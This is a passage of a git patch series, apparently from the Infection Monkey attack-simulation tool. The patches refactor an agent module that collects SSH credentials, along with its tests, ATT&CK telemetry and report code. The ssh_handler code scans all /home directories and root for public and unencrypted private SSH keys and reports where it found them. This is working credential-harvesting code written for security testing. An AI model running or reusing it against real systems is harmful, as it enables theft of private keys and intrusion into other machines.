== 0 + assert len(ssh_credentials.secrets) == 0 + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_collector_partial_credentials(monkeypatch, ssh_test_dir): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_partial")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.secrets[0].content) == 3 + assert ssh_credentials.secrets[0].content["private_key"] is None + assert ssh_credentials.secrets[0].content["known_hosts"] is None + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_collector_no_public_key(monkeypatch, ssh_test_dir): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_no_public_key")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) == 0 + assert len(ssh_credentials.secrets) == 0 From e9e5e95f49ae84571a46dade82c19c7f0679b112 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Feb 2022 14:56:58 +0100 Subject: [PATCH 0423/1110] Agent, UT: Separate ssh_handler from SSH Credential Collector * Add different UTs based on what ssh_handler returns * Fix logic in SSH Credential Collector --- .../SSH_credentials_collector.py | 131 +++------------- .../ssh_collector/ssh_handler.py | 112 ++++++++++++++ .../ssh_info/ssh_info_full/id_12345 | 3 - .../ssh_info/ssh_info_full/id_12345.pub | 1 - .../ssh_info/ssh_info_full/known_hosts | 4 - .../ssh_info_no_public_key/giberrish_file.txt | 0 .../ssh_info/ssh_info_partial/id_12345.pub | 1 - .../test_ssh_credentials_collector.py | 145 ++++++++---------- 8 files changed, 194 insertions(+), 203 deletions(-) create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py index 2e5eba0f7..778a5788a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -1,17 +1,13 @@ -import glob import logging -import os -import pwd -from typing import Dict, Iterable +from typing import Dict, Iterable, List -from common.utils.attack_utils import ScanStatus from infection_monkey.credential_collectors import ( Credentials, ICredentialCollector, SSHKeypair, Username, ) -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.credential_collectors.ssh_collector import ssh_handler logger = logging.getLogger(__name__) @@ -21,121 +17,32 @@ class SSHCollector(ICredentialCollector): SSH keys and known hosts collection module """ - default_dirs = ["/.ssh/", "/"] - - def collect_credentials(self) -> Credentials: + def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") - home_dirs = SSHCollector._get_home_dirs() - ssh_info = SSHCollector._get_ssh_files(home_dirs) + ssh_info = ssh_handler.get_ssh_info() logger.info("Scanned for SSH credentials") return SSHCollector._to_credentials(ssh_info) @staticmethod - def _to_credentials(ssh_info: Iterable[Dict]) -> Credentials: - credentials_obj = Credentials(identities=[], secrets=[]) + def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: + ssh_credentials = [] for info in ssh_info: - credentials_obj.identities.append(Username(info["name"])) + credentials_obj = Credentials(identities=[], secrets=[]) + + if "name" in info and info["name"] != "": + credentials_obj.identities.append(Username(info["name"])) + ssh_keypair = {} - if "public_key" in info: - ssh_keypair["public_key"] = info["public_key"] - if "private_key" in info: - ssh_keypair["private_key"] = info["private_key"] - if "public_key" in info: - ssh_keypair["known_hosts"] = info["known_hosts"] + for key in ["public_key", "private_key", "known_hosts"]: + if key in info and info.get(key) is not None: + ssh_keypair[key] = info[key] - credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + if len(ssh_keypair): + credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) - return credentials_obj + if credentials_obj.identities != [] or credentials_obj.secrets != []: + ssh_credentials.append(credentials_obj) - @staticmethod - def _get_home_dirs() -> Iterable[Dict]: - root_dir = SSHCollector._get_ssh_struct("root", "") - home_dirs = [ - SSHCollector._get_ssh_struct(x.pw_name, x.pw_dir) - for x in pwd.getpwall() - if x.pw_dir.startswith("/home") - ] - home_dirs.append(root_dir) - return home_dirs - - @staticmethod - def _get_ssh_struct(name: str, home_dir: str) -> Dict: - """ - Construct the SSH info. It consisted of: name, home_dir, - public_key, private_key and known_hosts. - - public_key: contents of *.pub file (public key) - private_key: contents of * file (private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) - - :param name: username of user, for whom the keys belong - :param home_dir: users home directory - :return: SSH info struct - """ - return { - "name": name, - "home_dir": home_dir, - "public_key": None, - "private_key": None, - "known_hosts": None, - } - - @staticmethod - def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: - for info in usr_info: - path = info["home_dir"] - for directory in SSHCollector.default_dirs: - if os.path.isdir(path + directory): - try: - current_path = path + directory - # Searching for public key - if glob.glob(os.path.join(current_path, "*.pub")): - # Getting first file in current path with .pub extension(public key) - public = glob.glob(os.path.join(current_path, "*.pub"))[0] - logger.info("Found public key in %s" % public) - try: - with open(public) as f: - info["public_key"] = f.read() - # By default private key has the same name as public, - # only without .pub - private = os.path.splitext(public)[0] - if os.path.exists(private): - try: - with open(private) as f: - # no use from ssh key if it's encrypted - private_key = f.read() - if private_key.find("ENCRYPTED") == -1: - info["private_key"] = private_key - logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - else: - continue - except (IOError, OSError): - pass - # By default, known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass - # If private key found don't search more - if info["private_key"]: - break - except (IOError, OSError): - pass - except OSError: - pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] - return usr_info + return ssh_credentials diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py new file mode 100644 index 000000000..30f1408a2 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -0,0 +1,112 @@ +import glob +import logging +import os +import pwd +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + +logger = logging.getLogger(__name__) + +DEFAULT_DIRS = ["/.ssh/", "/"] + + +def get_ssh_info() -> Iterable[Dict]: + home_dirs = _get_home_dirs() + ssh_info = _get_ssh_files(home_dirs) + + return ssh_info + + +def _get_home_dirs() -> Iterable[Dict]: + root_dir = _get_ssh_struct("root", "") + home_dirs = [ + _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + +def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key, private_key and known_hosts. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + # TODO: There may be multiple public keys for a single user + # TODO: Authorized keys are missing. + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } + + +def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in DEFAULT_DIRS: + # TODO: Use PATH + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # TODO: There may be multiple public keys for a single user + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default, private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() + else: + continue + except (IOError, OSError): + pass + # By default, known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, "known_hosts") + if os.path.exists(known_hosts): + try: + with open(known_hosts) as f: + info["known_hosts"] = f.read() + logger.info("Found known_hosts in %s" % known_hosts) + except (IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] + return usr_info diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 deleted file mode 100644 index 54616cc11..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 +++ /dev/null @@ -1,3 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -LoremIpsumSomethingNothing ------END OPENSSH PRIVATE KEY----- diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub deleted file mode 100644 index 082f12abd..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts deleted file mode 100644 index 8e95ebb9a..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts +++ /dev/null @@ -1,4 +0,0 @@ -|1|really+known+host|known_host1 -|1|really+known+host|known_host2 -|1|really+known+host|known_host3 -|1|really+known+host|known_host4 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt b/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub deleted file mode 100644 index 082f12abd..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 8a7cda3c7..0225b07e2 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,94 +1,75 @@ -import os -import pwd -from pathlib import Path - -import pytest - -from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors import Credentials, SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import SSHCollector -@pytest.fixture -def project_name(pytestconfig): - home_dir = str(Path.home()) - return "/" / Path(str(pytestconfig.rootdir).replace(home_dir, "")) - - -@pytest.fixture -def ssh_test_dir(project_name): - return project_name / "monkey" / "tests" / "data_for_tests" / "ssh_info" - - -@pytest.fixture -def get_username(): - return pwd.getpwuid(os.getuid()).pw_name - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_credentials_collector_success(ssh_test_dir, get_username, monkeypatch): +def patch_ssh_handler(ssh_creds, monkeypatch): monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_full")], + "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", + lambda: ssh_creds, ) - ssh_credentials = SSHCollector().collect_credentials() - assert len(ssh_credentials.identities) == 1 - assert type(ssh_credentials.identities[0]) == Username - assert "username" in ssh_credentials.identities[0].content - assert ssh_credentials.identities[0].content["username"] == get_username +def test_ssh_credentials_empty_results(monkeypatch): + patch_ssh_handler([], monkeypatch) + collected = SSHCollector().collect_credentials() + assert [] == collected - assert len(ssh_credentials.secrets) == 1 - assert type(ssh_credentials.secrets[0]) == SSHKeypair + ssh_creds = [ + {"name": "", "home_dir": "", "public_key": None, "private_key": None, "known_hosts": None} + ] + patch_ssh_handler(ssh_creds, monkeypatch) + expected = [] + collected = SSHCollector().collect_credentials() + assert expected == collected - assert len(ssh_credentials.secrets[0].content) == 3 - assert ( - ssh_credentials.secrets[0] - .content["private_key"] - .startswith("-----BEGIN OPENSSH PRIVATE KEY-----") + +def test_ssh_info_result_parsing(monkeypatch): + + ssh_creds = [ + { + "name": "ubuntu", + "home_dir": "/home/ubuntu", + "public_key": "SomePublicKeyUbuntu", + "private_key": "ExtremelyGoodPrivateKey", + "known_hosts": "MuchKnownHosts", + }, + { + "name": "mcus", + "home_dir": "/home/mcus", + "public_key": "AnotherPublicKey", + "private_key": "NotSoGoodPrivateKey", + "known_hosts": None, + }, + { + "name": "", + "home_dir": "/", + "public_key": None, + "private_key": None, + "known_hosts": "VeryGoodHosts1", + }, + ] + patch_ssh_handler(ssh_creds, monkeypatch) + + # Expected credentials + username = Username("ubuntu") + username2 = Username("mcus") + + ssh_keypair1 = SSHKeypair( + { + "public_key": "SomePublicKeyUbuntu", + "private_key": "ExtremelyGoodPrivateKey", + "known_hosts": "MuchKnownHosts", + } ) - assert ( - ssh_credentials.secrets[0] - .content["public_key"] - .startswith("ssh-ed25519 something-public-here") + ssh_keypair2 = SSHKeypair( + {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} ) - assert ssh_credentials.secrets[0].content["known_hosts"].startswith("|1|really+known+host") + ssh_keypair3 = SSHKeypair({"known_hosts": "VeryGoodHosts"}) - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_no_ssh_credentials(monkeypatch): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", [] - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.identities) == 0 - assert len(ssh_credentials.secrets) == 0 - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_collector_partial_credentials(monkeypatch, ssh_test_dir): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_partial")], - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.secrets[0].content) == 3 - assert ssh_credentials.secrets[0].content["private_key"] is None - assert ssh_credentials.secrets[0].content["known_hosts"] is None - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_collector_no_public_key(monkeypatch, ssh_test_dir): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_no_public_key")], - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.identities) == 0 - assert len(ssh_credentials.secrets) == 0 + expected = [ + Credentials(identities=[username], secrets=[ssh_keypair1]), + Credentials(identities=[username2], secrets=[ssh_keypair2]), + Credentials(identities=[], secrets=[ssh_keypair3]), + ] + collected = SSHCollector().collect_credentials() + assert expected == collected From a03a5145a7d60a9a69674177147361cc8281b68b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Feb 2022 19:54:05 +0100 Subject: [PATCH 0424/1110] Agent: Remove known_hosts from SSH Credential Collector It is not used anywhere. --- .../SSH_credentials_collector.py | 2 +- .../ssh_collector/ssh_handler.py | 20 ++-------------- .../test_ssh_credentials_collector.py | 24 ++++--------------- 3 files changed, 8 insertions(+), 38 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py index 778a5788a..bf56db757 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -35,7 +35,7 @@ class SSHCollector(ICredentialCollector): credentials_obj.identities.append(Username(info["name"])) ssh_keypair = {} - for key in ["public_key", "private_key", "known_hosts"]: + for key in ["public_key", "private_key"]: if key in info and info.get(key) is not None: ssh_keypair[key] = info[key] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 30f1408a2..2133bd7ae 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -31,12 +31,10 @@ def _get_home_dirs() -> Iterable[Dict]: def _get_ssh_struct(name: str, home_dir: str) -> Dict: """ Construct the SSH info. It consisted of: name, home_dir, - public_key, private_key and known_hosts. + public_key and private_key. public_key: contents of *.pub file (public key) private_key: contents of * file (private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) :param name: username of user, for whom the keys belong :param home_dir: users home directory @@ -49,7 +47,6 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: "home_dir": home_dir, "public_key": None, "private_key": None, - "known_hosts": None, } @@ -88,15 +85,6 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: continue except (IOError, OSError): pass - # By default, known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass # If private key found don't search more if info["private_key"]: break @@ -104,9 +92,5 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: pass except OSError: pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] + usr_info = [info for info in usr_info if info["private_key"] or info["public_key"]] return usr_info diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 0225b07e2..45aff0878 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -14,9 +14,7 @@ def test_ssh_credentials_empty_results(monkeypatch): collected = SSHCollector().collect_credentials() assert [] == collected - ssh_creds = [ - {"name": "", "home_dir": "", "public_key": None, "private_key": None, "known_hosts": None} - ] + ssh_creds = [{"name": "", "home_dir": "", "public_key": None, "private_key": None}] patch_ssh_handler(ssh_creds, monkeypatch) expected = [] collected = SSHCollector().collect_credentials() @@ -31,45 +29,33 @@ def test_ssh_info_result_parsing(monkeypatch): "home_dir": "/home/ubuntu", "public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey", - "known_hosts": "MuchKnownHosts", }, { "name": "mcus", "home_dir": "/home/mcus", "public_key": "AnotherPublicKey", - "private_key": "NotSoGoodPrivateKey", - "known_hosts": None, - }, - { - "name": "", - "home_dir": "/", - "public_key": None, "private_key": None, - "known_hosts": "VeryGoodHosts1", }, + {"name": "guest", "home_dir": "/", "public_key": None, "private_key": None}, ] patch_ssh_handler(ssh_creds, monkeypatch) # Expected credentials username = Username("ubuntu") username2 = Username("mcus") + username3 = Username("guest") ssh_keypair1 = SSHKeypair( - { - "public_key": "SomePublicKeyUbuntu", - "private_key": "ExtremelyGoodPrivateKey", - "known_hosts": "MuchKnownHosts", - } + {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} ) ssh_keypair2 = SSHKeypair( {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} ) - ssh_keypair3 = SSHKeypair({"known_hosts": "VeryGoodHosts"}) expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]), Credentials(identities=[username2], secrets=[ssh_keypair2]), - Credentials(identities=[], secrets=[ssh_keypair3]), + Credentials(identities=[username3], secrets=[]), ] collected = SSHCollector().collect_credentials() assert expected == collected From 6b64b655cec4c7b931ce131e76c607e04e33d5ad Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 15:40:14 +0100 Subject: [PATCH 0425/1110] Agent: Add T1145 attack telemetry --- .../ssh_collector/ssh_handler.py | 4 +++ .../telemetry/attack/t1145_telem.py | 19 +++++++++++++ .../telemetry/attack/test_t1145_telem.py | 28 +++++++++++++++++++ 3 files changed, 51 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/attack/t1145_telem.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 2133bd7ae..a204550f5 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -6,6 +6,7 @@ from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem logger = logging.getLogger(__name__) @@ -81,6 +82,9 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: T1005Telem( ScanStatus.USED, "SSH key", "Path: %s" % private ).send() + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/telemetry/attack/t1145_telem.py b/monkey/infection_monkey/telemetry/attack/t1145_telem.py new file mode 100644 index 000000000..55f41d6a0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1145_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1145Telem(AttackTelem): + def __init__(self, status, name, home_dir): + """ + T1145 telemetry. + :param status: ScanStatus of technique + :param name: Username from which ssh keypair is taken + :param home_dir: Home directory where we found the ssh keypair + """ + super(T1145Telem, self).__init__("T1145", status) + self.name = name + self.home_dir = home_dir + + def get_data(self): + data = super(T1145Telem, self).get_data() + data.update({"name": self.name, "home_dir": self.home_dir}) + return data diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py new file mode 100644 index 000000000..2125b6479 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py @@ -0,0 +1,28 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem + +NAME = "ubuntu" +HOME_DIR = "/home/ubuntu" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1145_telem_test_instance(): + return T1145Telem(STATUS, NAME, HOME_DIR) + + +def test_T1145_send(T1145_telem_test_instance, spy_send_telemetry): + T1145_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1145", + "name": NAME, + "home_dir": HOME_DIR, + } + expected_data = json.dumps(expected_data, cls=T1145_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" From 3d64d0d2e4994a5cdac3508af22b0665448913cc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 15:42:17 +0100 Subject: [PATCH 0426/1110] Island: Refactor T1145 report according to the attack telemetry --- .../attack/technique_reports/T1145.py | 36 +++++++++++++++---- .../src/components/attack/techniques/T1145.js | 16 ++++----- 2 files changed, 38 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index ec22a19ef..6d99a768c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -1,7 +1,11 @@ +import logging + from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique +logger = logging.getLogger(__name__) + class T1145(AttackTechnique): tech_id = "T1145" @@ -12,19 +16,39 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$match": { - "telem_category": "system_info", - "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "ssh_info": "$data.ssh_info", + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "name": "$data.name", + "home_dir": "$data.home_dir", } }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + "_id": { + "machine": "$machine", + "ssh_info": {"name": "$name", "home_dir": "$home_dir"}, + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index 1bdd2a857..b8ba925e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -10,13 +10,13 @@ class T1145 extends React.Component { super(props); } - static renderSSHKeys(keys) { - let output = []; - keys.forEach(function (keyInfo) { - output.push(
    - SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
    ) - }); - return (
    {output}
    ); + static renderSSHKey(key) { + return ( +
    +
    + SSH key pair used by {key['name']} user found in {key['home_dir']} +
    +
    ); } static getKeysInfoColumns() { @@ -31,7 +31,7 @@ class T1145 extends React.Component { { Header: 'Keys found', id: 'keys', - accessor: x => T1145.renderSSHKeys(x.ssh_info), + accessor: x => T1145.renderSSHKey(x.ssh_info), style: {'whiteSpace': 'unset'} } ] From b1b0840aedeec8999ddf84cd88c8a5ba261579c5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:28:11 +0100 Subject: [PATCH 0427/1110] Agent: Rename SSH credentials collector to match class name --- ...llector.py => ssh_credential_collector.py} | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) rename monkey/infection_monkey/credential_collectors/ssh_collector/{SSH_credentials_collector.py => ssh_credential_collector.py} (60%) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py similarity index 60% rename from monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py rename to monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index bf56db757..85a9c505a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -2,37 +2,37 @@ import logging from typing import Dict, Iterable, List from infection_monkey.credential_collectors import ( - Credentials, - ICredentialCollector, SSHKeypair, Username, ) +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector from infection_monkey.credential_collectors.ssh_collector import ssh_handler logger = logging.getLogger(__name__) -class SSHCollector(ICredentialCollector): +class SSHCredentialCollector(ICredentialCollector): """ - SSH keys and known hosts collection module + SSH keys credential collector """ def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") ssh_info = ssh_handler.get_ssh_info() - logger.info("Scanned for SSH credentials") + logger.info("Finished scanning for SSH credentials") - return SSHCollector._to_credentials(ssh_info) + return SSHCredentialCollector._to_credentials(ssh_info) @staticmethod def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: ssh_credentials = [] + identities = [] + secrets = [] for info in ssh_info: - credentials_obj = Credentials(identities=[], secrets=[]) if "name" in info and info["name"] != "": - credentials_obj.identities.append(Username(info["name"])) + identities.append(Username(info["name"])) ssh_keypair = {} for key in ["public_key", "private_key"]: @@ -40,9 +40,9 @@ class SSHCollector(ICredentialCollector): ssh_keypair[key] = info[key] if len(ssh_keypair): - credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + secrets.append(SSHKeypair(ssh_keypair)) - if credentials_obj.identities != [] or credentials_obj.secrets != []: - ssh_credentials.append(credentials_obj) 